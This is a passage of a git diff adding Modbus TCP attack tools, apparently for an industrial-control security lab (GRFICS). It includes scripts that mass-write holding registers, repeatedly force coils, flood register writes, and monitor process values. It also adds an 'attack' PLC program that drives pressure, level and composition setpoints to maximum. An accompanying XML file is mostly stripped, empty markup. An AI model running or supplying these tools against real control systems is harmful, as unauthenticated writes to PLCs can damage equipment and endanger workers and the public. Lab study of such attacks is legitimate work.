args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = [] + addr = 1 + for addr in range(args.start_address, args.end_address): + hr = client.write_registers(addr, args.value, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 16: # if we succeeded writing stuff. code = 0x10 + results.append(addr) + # if it fails, hr.function = 144 (0x90), cf modbus doc + + client.close() + print 'Register writing is finished (%d addresses were tried)' % (args.end_address-args.start_address+1) + print 'Writing was successful on these %d addresses:' % len(results) + print results + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/monitor_muiltiple.py b/modbus/monitor_muiltiple.py new file mode 100644 index 0000000..5b8b46f --- /dev/null +++ b/modbus/monitor_muiltiple.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python + +""" +File: monitor_multiple.py +Desc: Read all registers from a TCP MODBUS Slave +""" +__author__ = '0xRoM' + +from argparse import ArgumentParser, ArgumentTypeError, Action +from pyModbusTCP.client import ModbusClient +import time +import sys +import re + +class style(): + BLACK = '\033[30m' + RED = '\033[31m' + GREEN = '\033[32m' + YELLOW = '\033[33m' + BLUE = '\033[34m' + MAGENTA = '\033[35m' + CYAN = '\033[36m' + WHITE = '\033[37m' + BOLD = '\33[1m' + UNDERLINE = '\033[4m' + RESET = '\033[0m' + +class InflateRange(Action): + def __call__(self, parser, namespace, values, option_string=None): + #print('%r %r %r' % (namespace, values, option_string)) + lst = [] + for string in values: + #print 'in string:',string + if '-' in string: + m = re.match(r'(\d+)(?:-(\d+))?$', string) + # ^ (or use .split('-'). anyway you like.) + if not m: + raise ArgumentTypeError("'" + string + "' is not a range of number. Expected forms like '0-5' or '2'.") + start = m.group(1) + end = m.group(2) or start + lst.extend(list(range(int(start,10), int(end,10)+1))) + else: + lst.append(int(string)) + setattr(namespace, self.dest, lst) + +parser = ArgumentParser() +parser.add_argument('-co', '--coil', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-ho', '--hold', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-di', '--discrete', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-in', '--input', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) + +args = parser.parse_args() +print("### watch list ###") + +total = 0 +if args.coil: + print(style.BOLD+"coils: "+style.RESET+"("+str(len(args.coil))+")"+str(args.coil)) + total += len(args.coil) +if args.hold: + print(style.BOLD+"hold reg: "+style.RESET+"("+str(len(args.hold))+")"+str(args.hold)) + total += len(args.hold) +if args.discrete: + print(style.BOLD+"discrete: "+style.RESET+"("+str(len(args.discrete))+")"+str(args.discrete)) + total += len(args.discrete) +if args.input: + print(style.BOLD+"input reg: "+style.RESET+"("+str(len(args.input))+")"+str(args.input)) + total += len(args.input) +print(style.BOLD+"Total = "+str(total)+style.RESET) +print("------------------") + +co_orig={} +ho_orig={} +di_orig={} +in_orig={} +co_mod={} +ho_mod={} +di_mod={} +in_mod={} +co_prev={} +ho_prev={} +di_prev={} +in_prev={} +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=args.timeout) + +if args.coil: + for i in args.coil: + co_orig[i]=client.read_coils(i,1) + co_mod[i] = style.RESET + co_prev[i] = co_orig[i] +if args.hold: + for i in args.hold: + ho_orig[i]=client.read_holding_registers(i,1) + if ho_orig[i] == None: + ho_orig[i] = " " + ho_mod[i] = style.RESET + ho_prev[i] = ho_orig[i] +if args.discrete: + for i in args.discrete: + di_orig[i]=client.read_discrete_inputs(i,1) + di_mod[i] = style.RESET + di_prev[i] = di_orig[i] +if args.input: + for i in args.input: + in_orig[i]=client.read_input_registers(i,1) + if in_orig[i] == None: + in_orig[i] = " " + in_mod[i] = style.RESET + in_prev[i] = in_orig[i] + +while True: + co_new={} + ho_new={} + di_new={} + in_new={} + if args.coil: + for i in args.coil: + co_new[i]=client.read_coils(i,1) + if co_new[i] == None: + co_new[i] = "0" + co_mod[i] = style.CYAN + else: + if co_new[i][0] == 1 and co_prev[i][0] == 0: + co_mod[i] = style.GREEN + if co_new[i][0] == 0 and co_prev[i][0] == 1: + co_mod[i] = style.RED + co_prev[i] = co_new[i] + + if args.hold: + for i in args.hold: + ho_new[i]=client.read_holding_registers(i,1) + if ho_new[i] == None: + ho_new[i] = " " + else: + if ho_new[i] > ho_prev[i]: + ho_mod[i] = style.GREEN + if ho_new[i] < ho_prev[i]: + ho_mod[i] = style.RED + ho_prev[i] = ho_new[i] + + if args.discrete: + for i in args.discrete: + di_new[i]=client.read_discrete_inputs(i,1) + if di_new[i] == None: + di_new[i] = "0" + di_mod[i] = style.CYAN + else: + if di_new[i][0] == 1 and di_prev[i][0] == 0: + di_mod[i] = style.GREEN + if di_new[i][0] == 0 and di_prev[i][0] == 1: + di_mod[i] = style.RED + di_prev[i] = di_new[i] + + if args.input: + for i in args.input: + in_new[i]=client.read_input_registers(i,1) + if in_new[i] == None: + in_new[i] = " " + else: + if in_new[i] > in_prev[i]: + in_mod[i] = style.GREEN + if in_new[i] < in_prev[i]: + in_mod[i] = style.RED + in_prev[i] = in_new[i] + + sys.stdout.flush() + output = '\r' + if args.coil: + output += '['+style.BOLD+'coils:'+style.RESET + for i in co_new: + output += style.RESET+'['+str(co_mod[i])+str(int(co_new[i][0]))+style.RESET+']' + output += ']' + if args.hold: + output += '['+style.BOLD+'hold regs:'+style.RESET + for i in ho_new: + output += style.RESET+'['+str(ho_mod[i])+str(ho_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + if args.discrete: + output += '['+style.BOLD+'discrete:'+style.RESET + for i in di_new: + output += style.RESET+'['+str(di_mod[i])+str(int(di_new[i][0]))+style.RESET+']' + output += ']' + if args.input: + output += '['+style.BOLD+'input regs:'+style.RESET + for i in in_new: + output += style.RESET+'['+str(in_mod[i])+str(in_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + + print output, + time.sleep(args.timeout) \ No newline at end of file diff --git a/modbus/set_coil.py b/modbus/set_coil.py new file mode 100644 index 0000000..02ab399 --- /dev/null +++ b/modbus/set_coil.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python + +""" +File: set_coil.py +Desc: set a specific coil to a specific value +""" +__author__ = '0xRoM' +from argparse import ArgumentParser, ArgumentTypeError +from pyModbusTCP.client import ModbusClient +import time +import sys + +parser = ArgumentParser() +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-c','--coil', action='store', type=int, required=True, help='Coil Number', default=0) +parser.add_argument('-tr','--true', action='store_true', required=False, help='True if set') +parser.add_argument('-l','--loop', action='store_true', required=False, help='loop on') +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) +args = parser.parse_args() + +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) +if args.true: + client.write_single_coil(args.coil,True) +else: + client.write_single_coil(args.coil,False) + +if args.loop: + i=1 + while True: + client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) + if args.true: + client.write_single_coil(args.coil,True) + else: + client.write_single_coil(args.coil,False) + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(args.timeout) + diff --git a/modbus/test_coil_true.py b/modbus/test_coil_true.py new file mode 100644 index 0000000..d2e8631 --- /dev/null +++ b/modbus/test_coil_true.py @@ -0,0 +1,15 @@ +#!/usr/bin/python +from pymodbus.client.sync import ModbusTcpClient +import time +import sys + +i=1 +t_end = time.time() + 60 * 1 # 60s X 1min +while time.time() < t_end: + client = ModbusTcpClient(sys.argv[1]) + client.write_coils(40, [True, True, True]*4) # Ref #, followed by coil settings in list form + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 +print "Done" diff --git a/modbus/test_hold_int.py b/modbus/test_hold_int.py new file mode 100644 index 0000000..8be7d0d --- /dev/null +++ b/modbus/test_hold_int.py @@ -0,0 +1,21 @@ +#!/usr/bin/python +from pyModbusTCP.client import ModbusClient +import time +import sys + +i=1 +client=ModbusClient(host=sys.argv[1],port=502,auto_open=True,auto_close=True,timeout=10) + +while True: + #client = ModbusTcpClient(sys.argv[1]) + #client.write_single_register(0,65535) # ref #, followed by no to store + #client.write_single_register(1,65535) # ref #, followed by no to store + #client.write_single_register(2,0) # ref #, followed by no to store + client.write_single_register(3,0) # ref #, followed by no to store + #client.write_multiple_registers(0, [65535,65535,2,2]) + #client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(0.2) +print "Done" diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.st b/plc/GRFICS_Workstation_Docs/Documents/attack.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.xml b/plc/GRFICS_Workstation_Docs/Documents/attack.xml new file mode 100644 index 0000000..725d547 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.xml @@ -0,0 +1,5136 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 30000 + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 16000 + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + pressure_sp_real + + + + + + + pressure_k + + + + + + + pressure_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + valve_pos_nominal + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 